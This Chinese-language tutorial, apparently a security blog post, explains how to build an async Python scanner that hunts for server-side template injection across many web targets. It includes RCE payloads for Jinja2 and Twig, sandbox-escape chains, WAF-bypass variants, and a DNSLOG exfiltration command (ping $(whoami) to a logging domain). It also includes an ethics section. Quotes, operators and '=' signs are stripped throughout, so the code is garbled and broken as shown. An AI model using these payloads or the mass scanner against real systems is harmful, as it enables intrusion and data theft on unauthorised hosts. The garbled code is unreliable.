1. 项目概述从“黑盒”到“白盒”的SSTI自动化狩猎在渗透测试的日常里服务器端模板注入Server-Side Template Injection简称SSTI一直是个让我又爱又恨的“宝藏”漏洞。爱它是因为一旦成功利用往往能直接拿到服务器权限甚至实现远程代码执行RCE杀伤力巨大恨它则是因为它的隐蔽性太强手工测试效率低下尤其是在面对成百上千个Web应用进行批量漏洞挖掘时纯靠人工去“盲打”简直就是一场噩梦。这个项目正是为了解决这个痛点而生如何高效、精准、自动化地批量挖掘SSTI漏洞。简单来说SSTI漏洞的成因是Web应用在渲染页面时将用户输入的数据直接拼接到了后端模板引擎的代码中并作为模板的一部分进行了解析和执行。想象一下你本意是让用户填写一个“用户名”然后系统把这个用户名显示在网页标题里。正常的流程是模板引擎把{{ username }}这个占位符替换成用户输入的字符串。但如果攻击者输入的不是一个普通的名字而是类似{{ 7*7 }}或${7*7}这样的模板表达式并且后端没有做任何过滤直接把它丢给模板引擎去解析那么引擎就会老老实实地计算出49并显示出来。这扇“计算之门”一旦被打开后续注入操作系统命令、读取敏感文件、甚至反弹Shell都只是顺理成章的事情了。这个项目的核心目标就是构建一个自动化工具链能够对大量目标进行SSTI漏洞的快速初筛、深度验证和利用链构造。它不适合完全不懂原理的脚本小子而是为那些已经了解Web基础、接触过手工SSTI测试希望将重复劳动自动化从而将精力聚焦在更复杂逻辑分析和漏洞利用上的安全研究员、渗透测试工程师以及漏洞猎人SRC挖掘者所设计。接下来我将拆解整个项目的设计思路、关键技术细节以及我在实战中积累的“避坑”经验。2. 核心思路与自动化框架设计手工测试SSTI我们通常会遵循“检测-识别-利用”的三步曲。自动化批量挖掘本质上就是将这个过程程序化、并发化并解决其中每一步的稳定性与准确性问题。2.1 自动化流程总览一个健壮的SSTI批量扫描器其工作流可以抽象为以下几个核心阶段目标输入与预处理接收目标列表可以是域名、URL、IP:PORT进行存活探测、Web服务识别并提取所有可能的参数注入点GET/POST参数、Cookie、Headers、JSON/XML数据体等。漏洞检测初筛向每个注入点发送精心构造的、无害的探测载荷Payload通过分析响应内容来判断是否存在模板注入行为。模板引擎指纹识别一旦确认存在注入需要精确识别目标使用的是哪种模板引擎如Jinja2, Twig, Smarty, Freemarker, Velocity等因为不同引擎的语法和利用方式天差地别。漏洞验证与利用根据识别出的引擎发送更具攻击性的Payload验证漏洞的真实危害性并尝试执行命令、读取文件等操作。在自动化场景下这一步需要极其谨慎通常只进行无害验证如执行whoami或读取/etc/passwd的前几行。结果整理与报告将确认的漏洞信息URL、参数、引擎、利用Payload、证明截图等结构化输出便于后续人工复核和提交报告。2.2 技术选型背后的考量为什么用Python作为实现语言这是基于生态和效率的综合考量。Python拥有极其丰富的网络请求库requests,aiohttp、解析库BeautifulSoup,lxml和并发处理库asyncio,concurrent.futures能快速构建原型。此外大量现有的安全工具和Payload库都是用Python编写的集成起来非常方便。在架构上我选择了“生产者-消费者”模型配合异步IO。aiohttp用于处理高并发的HTTP请求避免同步请求导致的IO阻塞极大提升扫描速度。一个简单的扫描器核心循环可能每秒只能处理几个请求而一个设计良好的异步扫描器每秒处理上百个请求是完全可以做到的这对于批量扫描至关重要。注意高并发是一把双刃剑。过高的请求速率会触发目标WAFWeb应用防火墙的速率限制甚至直接被封禁IP。因此必须在代码中实现请求延迟控制asyncio.sleep和随机化User-Agent等反屏蔽策略。3. 关键模块深度解析与实现3.1 智能注入点发现与Payload构造这是整个扫描器的“眼睛”。我们不能只测试显而易见的?namevalue这种GET参数。一个健壮的扫描器应该能处理多种HTTP方法GET, POST, PUT, DELETE等。多种参数位置URL参数、表单数据、JSON请求体、XML请求体、Cookie、HTTP头如X-Forwarded-For。参数污染同一个参数名在URL和Body中同时出现时服务器的处理逻辑。实现上我会先用requests或aiohttp获取目标页面的原始HTML用BeautifulSoup解析提取所有form标签的action和input字段自动构造POST请求。同时也会对URL进行解析尝试对每一个路径段path和查询参数query进行注入测试。Payload构造是艺术。初筛Payload必须满足几个条件1) 无害2) 能在响应中产生明显区别于普通回显的差异3) 能跨引擎通用或易于区分。一个经典的通用探测Payload是使用数学运算{{7*7}}(Jinja2/Twig)${7*7}(Freemarker/Velocity){7*7}(Smarty)% 7*7 %(ERB)扫描器会依次发送这些Payload并检查响应中是否包含计算结果49。但这里有个大坑很多应用会对输入进行HTML编码或过滤。{{7*7}}可能被原样输出或者变成lbrace;lbrace;7*7rbrace;rbrace;。因此检测逻辑不能是简单的字符串匹配49而需要更“模糊”的匹配比如检查响应中是否出现了数字49且其上下文没有原样的7*7字符串。更高级的做法是发送两个Payload{{7*7}}和{{7*’7’}}后者在Jinja2中会报错或产生不同输出通过对比响应差异来判断。3.2 模板引擎指纹识别策略如果检测到可能的注入下一步就是精确识别引擎。我采用的是一个分层识别策略基于错误信息的识别故意发送畸形的模板语法如{{、{%、{#等不闭合的语句不同引擎会返回特征迥异的错误信息。例如Jinja2的错误信息中常包含“Jinja2”字样和具体的行号、模板名。基于语法特性的识别发送针对特定引擎的语法测试。Jinja2测试{{ .__class__ }}如果返回class str基本可以锁定。Twig测试{{ _self }}Twig中_self是一个特殊的上下文变量。Smarty测试{$smarty.version}它会输出Smarty版本。Freemarker测试${.version}或${.data_model.version}。基于内置对象/函数的探测许多模板引擎提供了内置函数或对象来访问环境信息。通过尝试调用这些内置项并根据响应判断。我将这些识别规则写成一个规则字典rules.yaml或Python dict每条规则包含测试Payload、预期在响应中匹配的正则表达式、预期不在响应中匹配的正则表达式用于排除误报、以及对应的引擎名称和置信度分数。扫描器会按顺序或并发执行这些规则最终取置信度最高的结果。# 简化版的识别规则示例 identification_rules [ { engine: Jinja2, payload: {{ config.items() }}, match_regex: rSECRET_KEY|DEBUG|.*Config, confidence: 0.9 }, { engine: Twig, payload: {{ _self.env|escape }}, match_regex: rTwig|Environment, confidence: 0.8 }, # ... 更多规则 ]3.3 无害化验证与沙箱逃逸思考在批量扫描中验证漏洞的危害性必须坚持“无害化”原则。我们的目的不是攻击而是证明漏洞存在。通常我会采用以下方法读取无害系统信息执行命令如whoami查看当前用户id或者读取/etc/passwd的前几行在Linux上。绝对禁止执行rm -rf /、wget下载远程木马或反弹Shell等破坏性操作。使用DNSLOG或HTTPLOG外带数据这是更安全、更通用的方式。对于无法直接回显命令结果的情况盲注可以让目标服务器向我们控制的域名发起DNS查询或HTTP请求通过查询日志来获取命令执行结果。例如执行ping $(whoami).your-dnslog-domain.com然后在DNSLOG平台查看子域名记录就能看到whoami的输出。计算延迟通过执行sleep 5这样的命令观察响应时间是否显著增加来判断命令是否执行。这种方法干扰较大且容易误判。关于沙箱逃逸一些现代的模板引擎如Jinja2的某些安全配置会运行在沙箱环境中限制对危险函数和属性的访问。自动化扫描器在验证时需要准备一些基本的沙箱逃逸Payload。例如在Jinja2中可以通过__class__、__mro__、__subclasses__()这条链来访问到os模块。但这一步通常更复杂在批量扫描阶段我通常只做到确认注入和识别引擎沙箱逃逸的深度利用会留给后续手动分析。4. 实战构建一个简单的SSTI批量扫描器核心代码下面我将展示一个高度精简但核心逻辑完整的异步SSTI扫描器示例。请注意这仅用于教育目的在实际使用前你需要添加错误处理、日志记录、速率限制和更完善的指纹规则。import asyncio import aiohttp from urllib.parse import urljoin, urlparse import re from typing import List, Dict, Optional class SSTIScanner: def __init__(self, concurrency: int 10): self.concurrency concurrency self.session: Optional[aiohttp.ClientSession] None # 基础探测Payload self.detection_payloads [ ({{7*7}}, r(?!7\*7)49(?!\d)), # 匹配49且前后不能是7*7或数字 (${7*7}, r(?!\$7\*7)49(?!\d)), ({7*7}, r(?!{7\*7})49(?!\d)), (% 7*7 %, r(?!% 7\*7 %)49(?!\d)), ] # 引擎识别规则 self.engine_rules [ {name: Jinja2, payload: {{ config.__class__ }}, regex: rclass \.*?Config\|Configuration}, {name: Twig, payload: {{ _self }}, regex: rTemplate.*_self}, {name: Smarty, payload: {$smarty.version}, regex: r\d\.\d\.\d}, {name: Freemarker, payload: ${.version}, regex: r\d\.\d\.\d}, ] async def scan_url(self, base_url: str, param: str, value: str) - Dict: 扫描单个URL的单个参数 results {url: base_url, param: param, vulnerable: False, engine: None} # 1. 检测阶段 for payload, pattern in self.detection_payloads: test_value value payload # 将Payload附加到原始参数值后 # 这里需要根据参数位置GET/POST/等构造请求简化起见假设是GET参数 async with self.session.get(base_url, params{param: test_value}) as resp: text await resp.text() if re.search(pattern, text): results[vulnerable] True # 2. 识别阶段 for rule in self.engine_rules: async with self.session.get(base_url, params{param: value rule[payload]}) as resp2: text2 await resp2.text() if re.search(rule[regex], text2): results[engine] rule[name] break break # 检测到即跳出 return results async def worker(self, queue: asyncio.Queue, results: List): 消费者工作函数 while True: try: task await queue.get() url, param, value task result await self.scan_url(url, param, value) if result[vulnerable]: results.append(result) queue.task_done() except asyncio.CancelledError: break except Exception as e: print(fError processing {task}: {e}) queue.task_done() async def run(self, targets: List[str]): 主运行函数 self.session aiohttp.ClientSession() queue asyncio.Queue() results [] # 生产者这里需要你实现从targets解析出所有URL和参数的功能 # 假设我们有一个函数 extract_params(url) 返回 [(param_name, original_value), ...] # for target in targets: # for url, params in extract_params(target): # for param, value in params: # await queue.put((url, param, value)) # 此处为示例简化放入一个任务 await queue.put((http://vuln-app.com/page, name, test)) # 启动消费者 workers [asyncio.create_task(self.worker(queue, results)) for _ in range(self.concurrency)] await queue.join() # 等待所有任务完成 for w in workers: w.cancel() await self.session.close() return results # 使用示例 async def main(): scanner SSTIScanner(concurrency20) targets [http://example.com] # 你的目标列表 vulns await scanner.run(targets) for vuln in vulns: print(f[] Vulnerable: {vuln[url]} | Param: {vuln[param]} | Engine: {vuln[engine]}) if __name__ __main__: asyncio.run(main())这个示例省略了目标解析、参数提取、POST请求处理、Cookie/Header处理、错误重试、速率限制等大量生产级代码但它清晰地展示了核心的异步检测和识别循环。5. 批量扫描中的性能优化与稳健性设计当目标量巨大时扫描器的性能和稳定性直接决定了项目的成败。连接池与超时控制使用aiohttp.ClientSession可以自动管理连接池复用TCP连接避免频繁的三次握手。必须为每个请求设置合理的连接超时conn_timeout和读取超时read_timeout比如各10秒防止某些慢速目标拖死整个扫描任务。智能去重与广度优先对URL和参数进行规范化去重避免对同一资源重复测试。在爬取阶段可以采用广度优先策略优先扫描首页和主要功能点而不是一开始就钻进深层次的目录。优雅的错误处理与重试网络请求充满不确定性。要对aiohttp.ClientError,TimeoutError等异常进行捕获并实现指数退避的重试机制。例如第一次失败后等待1秒重试第二次失败后等待2秒以此类推最多重试3次。结果缓存与断点续扫将扫描状态和结果实时保存到文件或数据库如SQLite。这样即使程序意外中断重启后可以从上次中断的地方继续而不是从头开始。资源监控与动态调速监控本机的CPU、内存和网络带宽使用情况。如果资源吃紧动态降低并发数concurrency。也可以监控目标服务器的响应状态码如果大量返回429请求过多或503应自动暂停对该目标的扫描等待一段时间后再继续。6. 高级技巧绕过WAF与过滤的Payload演化在实际的SRC漏洞挖掘或渗透测试中目标系统往往部署了WAF或存在简单的输入过滤。我们的Payload需要能“变形”以绕过这些防御。字符串拼接与编码原始{{ config.items() }}绕过{{ (\con\\fig\).items() }}或{{ request[\application\][\__globals__\][\__builtins__\][\__import__\](\os\).popen(\id\).read() }}利用属性访问的不同形式。使用Hex编码{{ \\x63\x6f\x6e\x66\x69\x67\ }}对应config。使用Base64编码在模板中实现解码如Jinja2中{{ \Y29uZmln\.decode(\base64\) }}注意高版本Python/Jinja2可能移除decode方法。利用模板引擎特性Jinja2可以利用|attr()过滤器进行属性访问如{{ \__class__\|attr }}。或者使用[]下标访问{{ request[\__class__\] }}。Twig_self是一个宝库{{ _self.env|escape }}常用于识别{{ _self.env.registerUndefinedFilterCallback(\exec\) }}可用于执行命令需特定版本。上下文探测有时我们不知道具体的对象名可以尝试注入{{ .__class__.__mro__[1].__subclasses__() }}来列出所有可用的类从中寻找危险的类如os._wrap_close。分块与混淆将Payload拆分成多个参数发送或者放在Cookie、Header中WAF可能只检查了常见的参数位置。重要心得没有一成不变的“银弹”Payload。最好的方法是维护一个庞大的、分类清晰的Payload字典并让扫描器具备一定的“模糊测试”能力自动对Payload进行简单的变形如插入随机空白、大小写转换、编码后再发送。同时密切关注意响应的差异不仅仅是内容还包括响应时间、长度和状态码的变化。7. 从扫描到报告成果整理与误报处理扫描出大量“疑似”漏洞后人工复核是必不可少的。自动化扫描器会产生误报常见原因有数字巧合页面其他地方本来就包含数字“49”。静态渲染Payload被原样输出到了HTML的注释或JavaScript代码中并未被模板引擎解析。WAF干扰WAF拦截了请求但返回了一个伪装的成功页面。为了降低误报我通常在扫描器中加入以下后处理逻辑差异对比不仅检查响应中是否包含49还要对比发送正常参数如test和发送Payload后的两个响应体。计算它们的差异度如使用difflib库。真正的SSTI漏洞响应通常会有结构性差异而不仅仅是多了一个数字。多Payload验证使用至少两种不同语法如{{7*7}}和{{7*7}}进行探测只有两个都产生预期差异时才判定为潜在漏洞。引擎识别一致性如果检测Payload触发了但后续的引擎识别Payload没有一个能匹配上规则则降低该结果的置信度标记为“待确认”。对于确认的漏洞报告模板应包含漏洞URL和参数精确到触发点。HTTP请求/响应原始数据最好用Burp Suite的格式方便复现。使用的Payload证明漏洞存在。识别的模板引擎帮助理解漏洞环境。漏洞危害证明如执行了whoami命令的截图或DNSLOG外带数据的记录。修复建议针对该模板引擎给出具体的修复方案如对用户输入进行严格的过滤和转义、避免使用eval或等效功能渲染模板、使用沙箱环境等。8. 法律与道德边界负责任的安全研究这是所有自动化安全工具讨论中必须强调的底线。在进行任何批量漏洞扫描之前务必明确授权只扫描你拥有明确书面授权的资产。对于公开的SRC安全应急响应中心项目严格遵守其规定的测试范围和规则。无害化验证漏洞时使用最小权限、最无害的命令。绝对不要进行数据篡改、删除、加密或任何破坏性操作。控制影响设置合理的扫描速率避免对目标业务造成拒绝服务DoS影响。保密与披露对发现漏洞的细节严格保密按照合规渠道如厂商的SRC平台进行披露不公开传播未修复的漏洞细节。自动化工具放大了我们的能力也放大了我们肩上的责任。用它来提升安全水位而非制造混乱。构建一个成熟的SSTI批量挖掘工具远不止写一个发送HTTP请求的循环那么简单。它涉及网络编程、模板引擎原理、Web安全、并发优化、数据处理等多个领域的知识。这个过程本身就是一次对Web应用安全和自动化测试技术的深度修炼。我分享的这些思路和代码片段只是一个起点真正的挑战和乐趣在于你在面对复杂多变的真实网络环境时如何让你的“狩猎者”变得更聪明、更稳健、更高效。记住工具是死的思路是活的保持学习保持敬畏才能在安全这条路上走得更远。